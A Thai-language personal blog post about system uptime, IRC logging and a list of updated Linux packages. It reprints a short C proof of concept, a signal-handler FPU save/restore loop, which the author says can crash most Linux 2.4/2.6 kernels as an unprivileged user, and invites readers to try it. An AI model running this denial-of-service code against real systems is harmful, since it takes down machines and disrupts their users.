I know what you chatted last week

.. ก็เพราะ ..

[kitt@peorth kitt]$ uptime
19:07:23 up 7 day, 23:28, 6 users, load average: 0.06, 0.13, 0.07

uptime ล่าสุดของ peorth เกือบๆ แปดวัน แม้จะไม่ใช่ uptime ที่มากที่สุดที่เคยมี (peorth สูงสุด 14 วัน บนลินุกซ์ 7 วันบน Win2K .. uptime สูงสุดที่เคยทำได้คือสองร้อยกว่าวันบน FreeBSD ก่อนจะ reboot เพื่ออัปเกรดเคอร์เนล) … อ่อ และตลอดเวลาที่ up ผมออนไลน์ และเป็นสัปเหร่อเฝ้า (ป่าช้า) #tlwg แทบไม่ได้ปิดหน้าต่าง irc เลย .. ข้อความที่คุยกันผม log ไว้หมดแล้วล่ะท่านประธานที่เคารพ :P

ฟิตจัด ..ทำงานไป ฟังเพลงไป อัปเดตแพ็กเกจไปซะเยอะ

  • libsigc++ 2.0.3
  • glibmm 2.4.2
  • gtkmm 2.4.2
  • libglademm 2.4.1
  • libgnomeprintuimm 2.5.1
  • xvidcore 1.0.1
  • libcaca 0.9
  • xine-lib 1.0.0 rc4a
  • totem 0.99.12
  • scribus 1.1.7
  • littlecms 1.13
  • raptor 1.3.1
  • lbreakout 2.5 beta6
  • povray 3.6
  • gnusound 0.6.2
  • gl-117 1.3
  • fox 1.2.3
  • drgeo 0.9.13
  • mjpegtools 1.6.2
  • transcode 0.6.12 (rebuild)

ฯลฯ

base ของทะเล MrChoke บอกว่าเริ่ม build GNOME แล้ว .. และคาดว่าจะใช้งาน gcc 3.4 เป็นหลักในขณะที่ 3.3 เป็น compat คู่กับ 2.96 … โฮ่ๆๆ

ข่าวใหญ่เรื่อง local DoS attack linux โดยโค้ดสั้นๆ ง่ายๆ เพียงแค่

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void Handler(int ignore)
{
  char fpubuf[108];
  __asm__ __volatile__ ("fsave %0n" : : "m"(fpubuf));
  write(2, "*", 1);
  __asm__ __volatile__ ("frstor %0n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
  struct itimerval spec;
  signal(SIGALRM, Handler);
  spec.it_interval.tv_sec=0;
  spec.it_interval.tv_usec=100;
  spec.it_value.tv_sec=0;
  spec.it_value.tv_usec=100;
  setitimer(ITIMER_REAL, &spec, NULL);
  while(1)
  write(1, ".", 1);

  return 0;
}

.. ก็มีโอกาสทำให้เคอร์เนล 2.4.x / 2.6.x แครชได้เกือบทุกรุ่น แม้เป็นแค่ user ธรรมดาๆ …. สนใจก็ไปลองกันเอง ตอนนี้เป็นที่รู้กันแล้วทั้ง LKML และคงแก้บั๊กนี้ก่อนจะออก stable ถัดไป

ย้ายมาตั้งฐานอยู่ต่างจังหวัดชั่วคราว เตรียม merge extras กับ extras-2 :)